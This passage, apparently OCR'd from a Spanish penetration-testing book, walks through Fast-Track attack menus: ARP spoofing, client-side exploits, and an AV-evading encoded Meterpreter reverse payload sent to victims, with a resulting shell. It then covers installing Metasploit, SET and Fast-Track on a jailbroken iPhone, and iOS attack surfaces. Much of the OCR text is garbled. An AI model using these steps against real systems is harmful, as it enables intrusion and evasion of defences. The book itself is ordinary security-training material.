Esta funcionalidad, ademés, permite realizar un ataque de ARP Spoofing a la victima, si ésta se
encontrase en el mismo segmento de red que el atacanle. Con esta accion se busca controlar la
comunicacion de la victima. El ARP Spoofing es provocado por la utilizacién de Fusi-Track de la
herraniienta Ettercap.

Would you like to use ettercap to ARP poison a host yes of no: yes

Ettercap allows you to ARP poison a specific host and when they brewse
a site, force them to use the metasploit site and launch a slew of
exploits from the Metasploit repository. ETTERCAP REQUIKED.

What IP Address do you want to poison: 192,168.0.66

Fig 7.16: Configurucion de ARP Spoofing.

La eleccion del payload es una situacién, que como se ha comentado en este libro en varias ocasiones,
es realmente importante. Esta funcionalidad permite elegir cuatro opciones de payload, que no dejan
de ser los mas conocidos, € incluso, los mas utilizados.

Specify your payload:

1. Windows Meterpreter Reverse Meterpreter

2. Generic Bind Shell

3. windows VNC Inject Reverse TCP (aka “Da Gui®}
4. Reverse TCP Sheil

Enter the number of the payload you want: §

Fig 7.17: Eleccion de payload en Mass Client-Side Autack.

Tras ir respondiendo a las sencillas cuestiones que produce Fast-Track para configurar el ataque
se pueden visualizar dos ventanas nuevas, la primera es la del servidor configurado y preparado
para recibir las peticiones, y la segunda es en la que se realiza el ARP Spoofing, en caso de haber
seleccionado su configuracion.

Ay [ 400,004
g - { hosts: added to:the tosts Hab,,.
2 David Hemwedy: ’ {
FEREBEPgd bk 9 — poisoning vicking

ing HTTP Server-on 132,168 :
. UP-2 ¢l 1 the hoste in the-ist)

5 chnedt to Gou on’ 192, 168,0,85 port B0 #Ex {Starting Unife tiFFiNg s

sText. only: Int ackivated,,,
it "' For dnline help

Fig 7.18: Ventanas del ataque Mass Client-Side.
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Exploits

Lsta funcionalidad proporciona un niimero de exploils codeados en Pythoy, Es(os eyploits pueden
ser encontrados en la ruta /pentest/exploits/fastirack/binfexploits. Bn la imagen se vj Su,l)i;ll le lis::(j 0
de exploits que Fust-Track detecta, pero dicha lista puede ser ficilmente ampliada e ‘

This section will attempt to compile some exploits coded in pythen, generaiy
Lhese exploits are from Huts, but may add others in time. ¥

Select your exploit:

1P OpenView Network Node Manager CGT Buffer Overflow

IBM Tivoli Storage Manager Express CAD Service Buffer Overflow
HP Openview NNM 7.5.1 OVAS.EXE Pre Authentication SEH @verflow
Quicktime 7.3 RTSP SEH Buffer Overflow

Goodtech SS5H Server 6.4 Buffer Overflow

HS08-967 Microsoft Server Service Remote Buffer Overflow

PIRC 6.34 Remote Buffer Overflow Exploit

TFTP Server for Windows Vi.4 ST

9. Internet Explorer XML Corruption Buffer Overflow

16, MS Internet Explorer 7 Memory Corruption Exploit (HS69-002) .
1. M5 Internet Explorer 7 DirectShow {msvidctl.dll) Heap Spray
12. FireFox 3.5 Heap Spray Vulnerability

B BN B G N e

(gluit

Enter number: .

Fig 7.19: Listado de exploils por defecto que presenta Fast-Track.

Fast-Track proporciona para el exploit que se quiera configurar, un sencillo pasq 4 paso para
configurarlo. Gracias a esto, el usuario puede preparar un entorno de prueba para comprobar la
eficiencia del exploit en un rango temporal inferior a la configuracion manual del médylo g exploit
con Metasploir.

Binary to Hex Payload Converter
El conversor de binario a hexadecimal que presenta Fast-Track permile generar fas instrucciones en
hexadecimal, siempre y cuando el archivo ejecutable se encuenire por debajo de 64 K de tamaiio.
Este conversor se puede utilizar cuando el atacante ya tiene acceso a un sistema com

. . . _ prometido y se
necesita enviar un ejecutable.

Generalmente, los puertos de FTP y otros protocolos de transferencia de archivos se encuentean
filtrados por los cortafuegos, por lo que este método proporciona una manera alternativy de Jograr
este objetivo,

Fast-Track dispone de la opcién del conversor y devuelve un archivo de texio con ¢l formato
especifico de depuracion de sistemas Windows. Este archivo es el que reconstruird el ejecytable una
vez que se encuentre en el sistema de la victima o en fa maquina fisica.

Una vez logrado lo anterior, s6lo se tiene que pegar en una cmd o desarrollar un scripr para conseguir
ejecutar esto en el sistema afectado del cual ya se proveia de acceso.
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Binary to Hex Generator v@.1
This menu will convert an exe to a hex file witich you just need
to copy and paste the output to a windows command prompt, it will
then generate an executable based on your payload
*¥Notev* Based on Windows restrictions the file cannot be over 64kb

<ctr1>;c to Cancel

Enter the path to the file to convert to hex: /root/nc.exe

Fig 7.20: Conversion del binario nc.exe a hexadecimal en el archivo binarypayioed. ixt,

Payload Generator

La funcionalidad de Payload Generator es comun en distintas herramientas que utilizan el
Jramework de Metasploit, por ejemplo en SET, Social Engineering Toolkit. Este generado: de
payload ejecutables o shellcodes ayuda de manera sencilla al usuario a lograr archivos ejecutables,
encodeados para intentar evitar antivirus, IPS o IDS, o incluso obtener el COdiQO o shellcode para
utilizar en e\plom propios.

Fast-Track presentard al usuario distintos ments de navegacion con ciertas preguntas, como son la
eleccion del payload, 1a eleccion del encoder o si se quiere crear un Jistener a través def médulo de
Metasploit exploit/multithandler.

PoC: Generacion de payload con Fast-Track

Bl escenario de la siguiente prueba de concepto es una recopilacién de lo cstudmdo o comentado
anteriormente en este libro. El atacante utilizard la herramienta Fast-Track para generar un payload
de tipo ejecutable, el cual serd enviado a las potenciales victimas a través de algin medio telemdtico.
Este medio se deja a la imaginacion del lector, siendo posibles candidatos, el correo eleetronico, un
servidor wel: mediante enlace a un recurso maliciose, un pendrive entregado a las victimas, etcétera.

Fasi-Track proporciona nn menti con distintas funcionalidades, la opcion Payload Generaior
mostrard las cuestiones que deben ser respondidas por el usuario.

Fast-Track Main Menu:

Fast-Track Updates
Autopwn Automation

Mmap Scripting Engine
Microsoft SOL Tonls
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
Payload Generator
Fast-Track Tutorials
18. Fast-Track Changelog
11. Fast-Track Credits

12. Exit fast-Track

W N DU A e

Enter the number: 8f j

Fig 7.21: Bleccién de la opcién Payload Generator:
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fin la eleccion del payload se-podrd eiegir entre los cldsicos Meterpreter, shell, etcétera. Parg esi.
prueba de concepto se elige la opcidn de Meterpreter, el cual es denominado “el rey de los payloads §

vihat payload do you want to generate: ‘ 1

ame: bescription: : X

1. Windows shell Reverse TCP Spawn a commard shell or victim and send back te attack
o . Windows Reverse TCP Hpterpreter sbawn a meterpreter shell on victim and send back to at
tacker Windows Reverse TCP YNC DL Spawn a VNU server on viciim and send back te attacker,

4. Windows Bind Shell Execute payload and create an accepting port on remote
system.

<ctri»-c te Cancel

Enter choice (example 1-6): 1

Fig 7.22: Bleccién del payload para el archivo final.

Tras la eleccién del papload, Fast-Track muestra las opciones que se pueden utilizar para ofuscar &
encodear el archivo ejecutable, con el fin de evadir a los posibles sistemas de antivirus, por ejempld

El encoder utilizado en esta prueba es Shikata_ga nai, el cual realizard cuatro iteraciones sobre 4
codigo del payload. Este encoder genera buenos resultados en la lucha contra la evasion de snstema‘

de proteceion. 4
1

eetow is 2 list of encodings te try and hypass AV,
Selact one of the below, Avoid UTF8_tolower usually gets past them.

. avoid utfa_tolower
. shikata_ga_nai

. #tlpha_mixed

. alpha_upper

. call4_dword xor

. countdown

. fnstenv_mov

. jmp_call_additive
4. ionalpha

1@, nonupper

11, unicode_mixed
12. wnicode_upper
13, alpha2

14. #o Encoding

0 N DR D N e

Enter your choice : 2

Fig 7.23: Eleccion del encoder para el archivo linal,

Porultimo, y antes de realizar el despliegue del fichero mediante el uso de alguna via de comunicacié;!
mencionada anteriormente, se debe responder a unas cuestiones. Fast-Track permite que el cédigq
que se genere sea para inyectarlo en un exploif que se esté desarrollando, por ejemplo mediante uni
shellcode. Otra opcidn es crear un ejecutable donde se encuentre el payload que se quiere utilizar

En esta prueba de concepto se ha utilizado la segunda opcién, que consiste en la creacién de yif
ejecutable con inyeccion de payload.

a
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Enter IP Address of the listener/attacker {reverse) or host/victim (bind shell): 192.168.1.3
Enter the port of the Listener: 4444
Do you want to create an EXE or Shellcode

1. Executable
2, Shellcode

Enter your choice: 1
/bin/sh: /pentest/exploits/framework3/msfpayload: #o such fite or directory

A payload has been created in this directory and is named ‘payload.exe'. Enjoy!

Do you want te start a listener to receive the payload yes or no: no

Iig 7.24: Configuracion del /7(1y101u!.

En esta prueba se puede visualizar como Fast-Track pregunta al usvario si quiere montar y configurar
un listener para recibir las sesiones inversas. Si el usuario elige “si”, entonces se ejecutaria Mefasploit
y se configuraria automaticamente el handler. En esta ocasion se ha decidido responder con “no” a
fa pregunta de Fast-Track y configurar manualmente el modulo exploit/multifhandler.

[*] Sending stage {752128 bytes) tc 192.168.1.40
{*] Meterpreter session 1 opened (192.168.1.41:4444 -> 192.168.1.406:1561) at 2012-89-28 21:32:44
+0280

meterpreter » getuid
Server username: PRUEBAS-01768CC\Administrador

eterpreter »

Rig 7.25: Oblencion de sesion inversa en la miquina remota.

6. Conciencia sobre Fast-Track

En definitiva Fast-Track es una herramienta de automalizacion que ofrece una gran cantidad de
posibilidades, gracias a la riqueza que aporta Metasploit Framework. Fast-Track se combina con
Melasploit para permitir al usuario menos avanzado utilizar y configurar de manera sencilla vectores
de ataque con fos que poder compromeler méquinas remotas.

Cabe destacar que los vectores de ataque automatizados no siempre tienen éxito, Esta afirmacion es
légica, ya que un vector de ataque es una via o posibilidad para acceder o tomar el control de una
maquina remota. Hay que entender lo que realmente esta realizando el sislema que esta atacando a
la maquina victima. También es interesante entender cudntas posibilidades de éxito tiene el vector
de ataque antes de lanzatlo.

En conclusion, Fast-Track ayuda a preparar el entorno en un tiempo, casi record, de tres minulos
o menos. Pero, puede ocurrir que la capacidad para realizar pruebas de forma manual produzcan
mejores resultados en el sistema remoto, por lo que no hay que dejar de lado las pruebas manuales,
ni dejar de entender lo que esta sucediendo sin que el usuario sea consciente de ello, “por debajo”.

Capltulo VII. Mds alld con Fast-Track

7. Reflexion sobre herramientas externas 3 Metasp)gijt

En estos dos (ltimos capitulos se l}an‘ estudiado y ejemplificado, mediante Ia escenjfjcacion de
pruebas de concepto, dos de las herramientas méas conocidas para automatizar (areas cop ef objetive
de realizar una intrusion en un sistema. k

Como se ha podido estudiar Fast-Track y SET o Social Engineering Toolkif son dos hegramientas
muy distintas, pero con un denominador comfin que es Metasploit. Ambas herrantientag yiilizan la
versalilidad del framework para generar un mundo falso, ya sea por medio de sitios web, gjeculables
que no hacen fo que parece, correos electronicos que parecen reales y no lo son, e(cé\er;_

En el mundo falso que este tipo de aplicaciones son capaces de crear, fa victima debe (aper mucho
cuidado ya que ésta actuard como si fuera un mundo real. De esta manera se provoca que Iy victima
ejecute archivos que no deba, visite sitios que no son reales o confie en correos electrdnicos que no
son los adecuados.

Estadisticamente SET es mas utilizado en el mundo de los test de intrusion que Fast-Track. Bste
hecho, puede ser el resultado del objetivo con el que se desarrollé SET y las funcionalidades de
ingenieria social que éste aporta al usuario que lo utiliza. Fast-Track tiene un objetivo enfocado a
{acilitar al usuario la interaccién y configuracién de alaques avanzados de Metasploit. SET también
proporciona métodos para configurar algunos ataques avanzados, pero siempre enfocado al arte de
la ingenieria social.

Por tltimo comentar que la automatizacion es necesaria y recomendable, pero ésta también tiene
cosas negativas como es la pérdida de control sobre lo que esté sucediendo. Todas las acciones que
proponen SET y Fust-Track se pueden realizar sin la automatizacion, es decir, manualmente. En
general es recomendable utilizar la automatizacion cuando el usuario conozca muy bien e proceso
manual y por esta razén es importante conocer las operaciones que se estén utilizando por debajo,
que en el caso de Fast-Track, esto se traduce en conocer bien el entorno de Metasploit Framework.

Como se ha podido estudiar en estos dos capitulos, Metasploit puede ser la semilla de un test de
intrusion, provocando que gran cantidad de pruebas y procesos se puedan implementar gracias al
Jramework.
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Capitulo VIII
Metaspleit en dispositivos méviles

1. Introduccion

Abordar el tema de Metasploit y los dispositivos méviles es un asunto que se puede afrontar desde
diferentes puntos de vista. Los dispositivos méviles como iPhone o iPad con iOS o Android, pueden
encontrarse en ambos lados del espejo, es decir, pueden ser tanto los utilizados por el pentester como
los utilizados por la vietima y en ambos casos puede ser vital conocer su funcionamicato para poder
sacar el maximo provecho de ellos.

Desde el punto de vista del pentester, poder disponer de un framework como Metasploit instalado
en un terminal movil puede permitir que se esté realizando todo un test de infrusion desde la WiPi
de la empresa, mientras se estd esperando en la sala de espera o paseando por las instalaciones en
una visita guiada. De hecho, en las instalaciones de alta seguridad todos los dispositivos méviles
se encuentran mds que prohibidos por este tipo de motivos, y todos los visitantes deben dejarlos
encerrados en unas cajas de seguridad a la entrada que actilan come jaulas de Faraday. Por otro lado,
cada vez es mas comun que un dispositivo mévil guarde informacion sensible de un objetivo que no
esla disponible en otro lugar, por lo que puede ser necesario atacar usi terminal Android 0 iOS para
obtener dicha informacion y sacar esos datos. No hay que perder de vista que CEOs de empresa,
politicos y hasta jueces, utilizan sus iPads, por ejemplo, para trabajar diariamente.

Atacar los datos de estos terminales se puede enfocar desde tres aproximaciones distintas, para las
que. es necesario trazar diferentes planes de trabajo.

- La primera de las aproximaciones serfa atacar e! terminal con un exploit remoto. del

mistoo, que permitiera tomar control de! terminal y obtener una shell o instalar un troyane
para controlar el equipo.

- Lasecgunda de ellas serfa atacar las comunicaciones del terminal aprovechando conexiones
a través de redes inseguras del dispositivo, va sean redes WiFi o de comunicaciones GPRS,
Dentro de estos ataques, también es conveniente hacer notar el impacto de los ataques de
Juice Jacking para robar fotografias y videos de la tarjeta de memoria de los dispositivos.

- La dltima consiste en atacar el backup del terminal que puede haberse hecho en una
maquina insegura o en iCloud, algo que permitiria acceder a los datos del equipo en Ia nube,
lo que harfa posible obtener datos de extrema sensibilidad del usuario,
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Ao largo de esie capitulo se van a comentar las diferentes aproximaciones utilizando Metaspioit
como herramienta de apoyo donde sea posible.

2. Instalacién de Metasploit en dispositives i0S

A continuacion se explicard la manera de instaiar el framework de Metasploit cn un disposn('wo
movil como iPhone para poder auditar desde cualquier lugar. Bl requisito a la hora de r‘eulnzar
este proceso es disponer de un dispositivo iOS con jailbreak, ya que no se pueden conseguir estas
herramientas por los canales habiluales, :

Requisitos previos e instalacion . .

Se debe conectar de algin modo con el iPhone para poder realizar las operaciones necesas ias para
la instalacién de Metasploit. La via mas recomendable, segura y comoda es conectarse nu?‘uﬁa'nle un
terminal SSH, ya sea en el mismo dispositivo escribiendo comandos con el iPhone, o utilizindolo
en Mac OS X, Linux o Windows.

. , . g
En esle ejemplo se ha utilizado el terminal Puity, que serd con el que se realizard la 11?stma.Cfou
completa y el principal manejo de Metasploit. En caso de lener instalado OpenSSH en un dispositivo
iPhone, siempre es ideal tenerlo bien fortificada. Una vez realizada la conexion lﬁedlante SSH, se
procederd a la instalacion de los paquetes y aplicaciones necesarias para la instalacion de Metasploit
y SET.

Para poder proceder con el proceso de instalacion de Melasploit es necesario cumplir Jos r'eqmsﬁos
previos de los componentes. Por ello, se instalardn aplicaciones necesarias, que son: subversion,
nano, wget y phyton.

Bn las siguientes capturas se observan las inslrucciones -2 ejecutar para instalar los distintos
componentes:

iPhone-de-Pablo-Gonzalez:/private/var roatf apt-get install suversion nano wget
ychon

Fig 8.01: Instalacion de subversion, nano y wget.

liPhone—de—Pablo—Gonzalez:/var/mobile roat# cd /pxivate/var/

Fig 8.02: Eleccitn de punte de descarga de Melasploit en /private/var.

A continuacion, y una vez situados en el directorio de descarga seleccionado, se procedg a desc%lrgar
el paquete ruby. Eslo se realizard mediante el programa wget que se desempaquetard e instalar con
el comando dpkg -i.
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1Phone-de-Pahio~Gonzalez: /privace/vag rootf wget hrtp://apc.saurik. com/cydia/ ael
bs!ruby_l.a.6—p111«5_iphoneos-arm.deh
--2011-03-04 11:20:06-—~ htcp://apc.5aurik.cnm/cydia/debs/tnhy 1.8.6-pl11-5_ iphe
neas-arm. dek - -
Reaclving apt.saurik.com... 74,208.10.249

Connecting to npn.saurlk.cam|74.205.10.249|:BO... connacted,

HITP request sesnt, awaiting response... 302 Moved Temporarily’

Locatian: hthp://cnuhe.5au:ik.com/deba/:uby_1.6.5—plll—5~iphon&os—arm,den ifollg
2ing)

-~ 2011 -03-04 131:20:06-- hccp://cache.saurik.ccm/debs/ruby_l.8.6—p111~sw1phzneos
-2z, deb N

Resolving cache. saurik.com. .. 8%.188.132.17, 93,388.132.25

lonpecting to cache.sau:ik.cnm!93.188.132.l?l:80... connected, |

HITE request sent, awaliing responae... 200 OK
Lengeh: 1710310 {1.6M) {application/actet-stream]
Seving co:>‘runy_]‘8.é-pz1i—5_19h0nens-&rm.deb‘

§UE [Eomeres e

==Y ] 812,083 2088/8  evm b

Fig 8.03: Descarga de Ruby.

:
1Phond~(e-BALTa-Gonsnies: /orivaca/var T00t¥ dpRg -1 ruby 1.8.4-pLii-5 iphanaas-z
. dek - -

{Reading database .., 3559 files ana directories currently installed.)
Preparing to repiace ruby 1.8.6-plil-5 {using tuby_l.s.Gﬁplllvﬁ'i;hanﬁoswurm.deh
P

Unpacking repiacement ruby ...
Setting up Tuby (1.8,6-plil-3) ...
ibhone~de-Pabio-Gonzalez:/privace/var rootd g

Fig 8.04: Desempaquelado ¢ instalacion de Ruby.

Después se instala rubygems, un componente necesario en Metaspioit, con la aplicacion apt-ger.

iPhone-ar-Fablo-Gonzalez: /private/var raot] apt-get instail rubygems
Reading package 1ists... Done
Buiiding dependency tree
Reading srate infarmation... Done
tote, selecting ruby instead of rubygems
The followihg packages will be upgraded:
ruby
1 upgraded, O newly imstalled, 0 to remove and 18 not upgraded.
Heed to ger OB/3782kB of archives. !
After this operation, 15.8MB of additional disk space will be used.

(Reading database ... 8559 files and directories currently installed.)
Preparing to replace xuby 1.8.6-p1ll-5 {using .‘./ruby_l.B.Z—po—io_ipboneos—arm.
ol

Fig 8.05: Instalacion de rubygems.

Una vez que se hayan instalado todos los prerequisitos se podré pasar a la fase de instalacion de
Metasploit, para ello, se debe descargar e instalar el paquete .deb de Metasploit.

1Phane-de-Pablo-Gonzalez:/private/var rootf wget heep://updates.metasploit . con/
ata/releases/framework-3,5.1.tar.bz2

~-2011-01-04 11;28:42-~ http://updates.metasploit.com/data/releases/ framework—
.5.1.car.bz2

Resolving updates.metasploit.com. ., 184.154.104.2

Connecting ta updaces.metasploiC.cumjlaa.lsﬂ.104.2]:80... cannected.

HITE reguest sent, awaiting resporse... 200 OK

Length: 43340887 (41M) {application/x-bzip2]

Saving to: ‘framework-3.5.1.tar,bz2*

7 o

|

0% { ] 119,819 54.6K/3
Fig 8.06: Descarga det paquete Melasploit con wget desde In web del proyccto,

Como ejemplo se afiade ademas una imagen con la instalacién en un iPud.
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Fig 8.07: Metasploit funcionando en un iPadd.

Instalacion del médulo SET (Secial Engineering Toolkit) en iOS
"Para proceder con la instalacién de S.E.T, se debe cambiar de direclorio en el dispositivo movil v
situarse de nuevo en la direccion /private/var. Una vez alli se debe ejecutar el siguiente comando
para afadir el mdédulo SET:

/private/var root# svn co http://'svn.trustedsec.com/social_'_engineering_toolkil‘.
set/ :

Una vez realizado este paso, hay que situarse en el directorio SET y ejecutar la orden sct aceptando
la instalacion de todos los modulos de Python que se requieran. En este momento ya estard prepatrado
para funcionar, tanto el framework de Metasploit como SET en el dispositivo iOS.

1Phene-de-Pablo-Ganzalez: /private/var/SET roocd ./sec

CREEREE CRREMIHES SR HEEENS

FEZ RN £ 3% § PIRFNREN ...
P £ AR oo ...
CEHHE R ..
EERTRIN 1S - TET TN LT
H AL ...

SAREHE HEHME. L L

The Social-Engineer Toolksc {SET)
Wrivtzn by David Kennedy (ReLlK)
Version: 3.1.1
Codenane: 'Happy Holidays'
Report bugs to: davek@social-engineer.org
Follow Me On Twicter: dave relik
Homepage: htupt//www. zecmaniac., com
Framework: http://www,soccial-engineer.org

Weicome to the Social-Engineer Toolkit (SET). Your one
stap shop for all of your social-engineering needs..

Fig 8.08: SET ejecuiandose en un iPhone.
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Instalar Fast-Track en iOS

B f0S también es posible instalar Fast-Track. Para ello se utilizaré subversion ejecutando desde la
linea de comandos la siguiente orden:

/private/var rout# svn co http://svn.thepentest.com/fasttrack/

A continuacién habrd que ejecutar el instalador con la siguiente orden;

/private/var root# python setup.py install

Fast-Track realizard una serie de preguntas habituales del proceso de instalacién y una vez acabado
el proceso completo, existirdn dos médulos para manejar Fast-Track, o bien en modo de texto
interactivo o bien con una inlerfaz senciila para uiilizar via web. Para arcancar Fast-Track en cada

. mdduio se ejecuta la siguiente orden:

/private/var rootl python ./fast-track.py -i {ejecucidédn mediante shell)
iprivate/var rooth python ./fast-track.py -g (ejecucidn mediante webGUI)

Fasi-Track ayuda a automatizar el proceso de pentesting, formando parte del kit de herramientas de
!
auditorfa que se pueden ejecutar desde un dispositivo i0S para trabajar desde cualquier lugar,

3. Ataques en dispositivos i0S

Atacar el terminal con un exploit remote: El caso de iOS
Stse busca en los modulos de Metasploit, se encuentra que a dia de hoy-no hay ningtin exploit para
terminales iOS, con lo que iPad, iPhene, Apple TV y los iPod Touch quedarfan fuera de los posibles

largets. Por supuesto, {a no existencia de cstos explofls que permitan tomar control remoto de los

terminales Apple no quiere decir que sean invuinerables, ni mucho menos, es sélo que los exploits
de /OS tienen un valor mucho mayor en la comunidad del jailbreak y en el mercado actual, por lo
quc no aparecen muchos piiblicos.

La superficie de exposicion de un terminel iOS de Apple es bastante reducida, y se compone del
navegador Mobile Safuri, e! cliente de correo, el cliente SMS, los plugins que se puedan cargar en
estas aplicaciones y poco mas. El resto de aplicaciones utilizan peticiones de conexién al sistema
operativo que es quién realiza las solicitudes de datos. Debido a esto, los sistemas para tomar control
de un terminal /OS han sido siempre muy limitados. El investigador Charlie Miller, a lo largo de los
afios ha ido encontrando diferentes fallos en el navegador o en el sistema de SMS para conseguir
ejecutar codigo arbitrario en el dispositivo y tomar el control del mismo.

En el tltimo Mobile Pwn20wn de septiembre'de 2012, los investigadores Daan Keupery Joost Pool
encontraron un fallo en el navegador Mobile Safari que les permitié tomar control de los dispositivos
i0S. Sin embargo, casi ninguno de esos exploits es ptiblico, y sélo s¢ han dado explicaciones de
cémo se han realizado, utilizindose esta informacién para poder hacer herramientas de Jailbreak.
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En el afio 2012, la revista Forbes hizo un estudio de cuales eran los exploits mejor pagados, y los
de los terminales /OS superaban con creces a todos los demés por encima de los de las maquinas
Windows, que tradicionalmente habfan sido los mds cotizados en el mercado.

| ADOBE READER -4 . $5,000:$30,000
MAC OSX $20000-§50,000
CANDROID, T T e enn000-3600007
FLASH OR JAVA BROWSER PLUG-NS $40,000-$160,000
MICROSOFT WORD. .\ .. [+ 2 't $50,000:4100,000 -
WINDOWS $60.000-$120.000
SFIREFOX OR SAFARL . o5t 701745, §60,00044150,000, -
CHROME OR INTERNET EXPLORER $80,000-$200,000
(01 FE ’ S 2$100,000-5250,000

Fig 8.09: Lista de procios de exploits en ¢i mercado.

A pesar de que no hay ningln exploit ea Metasploit, sf que se conocen muchos de los fallos que licne
cada version de /0S8, ya que Apple publica en cada nueva versién del sistema operativo la lista de
codigos CVE solucionados, lo que puede ayudar a preparar un determinado ataque a un penfester.

Una de las superficies de exposicion comunes a i0S, Android y Windows Phone son las tiendas de
aplicaciones. En el caso de Android el nimero de aplicaciones maliciosas que existen es enorme,
por lo que casi no es noticia nueva. En ¢l caso de /0S8 no son demasiadas las que se han encontrado,
y casi todas han sido de robe de datos.

El (mico ejemplo de una aplicacién maliciosa instalada a través de la App Store es de Charlie
Miller. E1 hizo una prueba de concepto con una aplicacién llamada /nstaStock que tras pasar los
controles y estar publicada en la App Store e instalada en un dispositivo movil, se convertia en
un dropper(moddulo de infeccion que descarga el auténtico software malicioso) para instalar un
backdoor y controlar el teléfono remotamente. '

i‘nstasmck

hddaticker | fme T ogsoas

Fig 8.10: InstaStock 1a Prueba de Concepto de Charly Miller que se salté el Code-Signing a travée de la AppStore
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Aparte de esta prueba de concepto, fo mas habitual son aplicaciones que roben d
aplicacion de adware Find & Call, que robaba las agendas de contactos para vender
de spam de correo elecironico y SMS. Por supuesto, hay que saltar 10s controles de
Store, pero ya bay casos en los que es posible.

atos, como la
las en campafias
Apple en la App

En el caso de que el terminal tenga hecho el jailbreak, se ha eliminado el proceso (e veril'zc;mién
de software firmado por Apple en el terminal, lo que permite que cualquier aplicacién pueda ser
cjecutada. En esie caso es mas sencillo instalar un software malicioso en el terminal, g se convence
al usuario de que instale una aplicacion publicada en un repositorio de Inlernet.

Ein la propia Cydia, el investigador espafiol Eagle descubrié que una de ias aplicaciones que habia
instalado en su terminal, y que procedia de Cydia, estaba haciendo clic-fiuud a través de su terminal
mavil, algo que dejé en entredicho los controles de estas tiendas de aplicaciones para dispositivos -
con jailbreak.

Existen casos de mahvare para equipos con jailbreak. Hay ejemplos como el gusano iKee, yue s¢
distribufa via (penSSH con contrasefias por defecto (algo que es lo primero que hay que mirar en
un terminai i0S con jailbreak), o iKeyGuard, un keylogger especialmente disefiado para iOS, que
s¢ distribuye por lnternet para vigilar terminales i0S con jailbreak, en diferentes versiones y con
distintas caructeristicas. o

Editicns and Features

Opened Apps Logging ™

Fig 8.11: Versiones de iKeyGuard para iOS

Por supuesto, adaptar malware de OSX o Linux para sistemas /OS no es tan complicado si el terminal
tiene realizado el jailbreak, asi que en ataques a medida son muchas las soluciones a emplear.

Encontrar terminales con juiblreak puede ser sencillo, sobre todo si estos utilizan las funciones que
permiten algunos programas como [nstallous, de compartir datos via servidores web. Buscando en
Shodun equipos con Http cuyo banner muestre que es un iPhone es sencillo, y deja a las claras que
es un terminal iPhone con juilbreak. Este mismo truco se puede realizar en un escaneo con mmap
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en lared de una empresa, para ver si, o bien por SSH o bien por Hitp, se ha introducido un i0S con
Jatitbredk en la organizacion.

La primera de las cosas que es interesante es que los dispositivos iOS informan en e} campo User
Agent de ia version exacta del sistema operativo, con lo que inicamente consiguiendo que se cargue
una tmagen en un correo elecirénico o se visite una pagina web, se logra conocer la version exacta
del sistema operativo objetiva de la accion,

HYTmi0200 oK. .

* Content Typé: testihtint
Cantant-Length: 1118
Date: Wed, 03 Oct 2012 09.45:36 GMT
Server; iFhone lightipd
Connection: kaep-alive *

HTTR

Top Countries
Taiwan . 154
Brazil 95

Fig 8.12: Teminales {OS con jailbreak en Internet.

En la tltima version de iOS 6, el cliente Mail no carga las imdgenes de ningiin correo, pern permite
hacerlo caso a caso, es decir, el usuario puede elegir cargar las imagenes de un mensaje de cerreo en
particular escrito en HTML, pero en las versiones anteriores esto es algo que se hace a nivel globai
y por defecto estaba activado, lo que ayuda a conseguir la versién exacta de /OS.

Conocida la version, es posible intentar localizar exploits piblicos para terminales iOS utilizando las
bases de datos CVE. CVE Details es una web que permite navegar por los expedientes de seguridad
de i0S que tienen un exploit piblicado, lo que es de gran utilidad, En la imagen se puede ver una
clasificacion de los CVE que afectan a i0S, y s6lo a iOS, ordenada por afio de descubrimiento y por
tipo de vulnerabilidad. -

ctdon Fran 091405047~
Hection £ra " 5842,
e 1.4

taa oy HITP/L.
2R13.97,207.42 : 30900

=fgent: Honillas5.0. (iPhonei Ui CPU iPhone 05 3.1.2 like Mac 08 %4 eu~es) Appleleblit/520.1
"Eﬁl‘b like Gocko) : . _ y
oMM .
NYUaye s gs-gs .
cehptrEncodings gzip. deflate
HOBHiEtdons fe Tdve -

EAARAT

Fig 8.13; User-Agent dejado.por un iPhione en una conexién Hitp.

Si se selecciona la vista de bugs con exploifs publicos, se puede ver que hay bastantes exploils
disponibles para atacar a terminales iOS, y por supuesto se pueden configurar para utilizarlos en
determinados entornos.
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Fig 8.14: Lista de expedientes con expioit pablico.

Entre ellos, hay que destacar cl bug del PDF descubierto por Comex que fue utilizado, y atn esta
disponible, para JailbreakMe 3.0. Hay que recordar que este bug funciona en todos los terminales
hasta versién iOS 4.0.1. Dicho bug permite, mediante la apertura de un PDF ejecutar codigo arbitrario
a nivel de root en el sistema ¥, entre otras cosas, parchear el kernel de un terminal iOS para hacer

Jailbreak. Sin embargo, es posible cambiar el payload y ejecutar una shell a través del mismo, El

investigador espafiol José Selvi, realizé una demostracién de esto con JailOwnMe.

0 TCWE [ Fof .| Vulngrabity | Puish
n.FExplolts |5 Typeis).* *! “Date,

Eian . : PERCLIE b % s

1 CVE-2010-2973 264 1 Overflaw 2010-  20610- m Admin  tocal Medium  Ngt' ‘Complate Complete Complet
+Priv 08-05 (8-18 required

Integer overflow in (0Surtace in Appla i0S hefore 4.0.2 on the. iPhone and Pod touch, and before 3.2.2 on theiPad, allows local users to gain

privilegas via vectars involving 10Sutface properties, s demonstral JailbreakMa,

2 CVE-2010-2297 115 1 Du§ Exec 2010-  2010- $ & None Remote Medium Not  Complete Compl
Code 0a-16 of-21 required
Overflow
Mem. Corr,

Muliiple stack-based buffer overflows in the cff_decoder_parse_charstrings function in the CFF Type2 CharStrings intarpreter in cff/cffgload.c in
FreeType befare 2.4.2, as used in Apple iOS before 4.0.2 on the hane and iPod touch and before 3.2,2 on the iPad, allow remote attackersto
axecute avbitru?y cade or cause a denial of service (memary corruption) via crafted CFF apcodas in embedded fonts in a PDF document, as
demonstrated by Jailbreakdla. NOTE: some of thase details are obtained from third party information.

3 CVE-2010-1226 20 1 Dos 2010- 2010- YA None Remote Low N
04-01  04-02 B required
The HTTP dlient functionality in Apple iPhone OS 3.1 on the iPhone 2G and 3.1.3 un the iPhona 3GS allows remote altackers to-cause a denial of
sarvica (Safai, Mail, or Springhoard. crash) via a crafted innerHTML property of a DIV element, re # "malformed character" issue.
4 CVE-2009:3271 20 1 Dos 2009- 2009- :’s» 3 ;\! None  Remote Nat Mone Hone  Partial
0931 99-22 ) required
Apple Safari on Phona 05 3.0.1 allows remols attackers to cause a denial of service (aoplication. crash) viz a Jong tel: URL in the-SRC attribute
of an IFRAME element,

None None Partial

5 CVE-2009:1599 200 1 +info 2009-  2012- None Refmote Medium  Nat
: 06-10  03-30 required

The XSL stylesheet implementation.in Webit in Apple Safari hafore 4.0, iPhane 0S 1.0 through 2.2.1, and iPhone OS for iPod touch 1.1
through 2.2.1 does nut properly handle XML external entities, which aflows remate attackeks to read arbitrary files via a crafted DTD, as
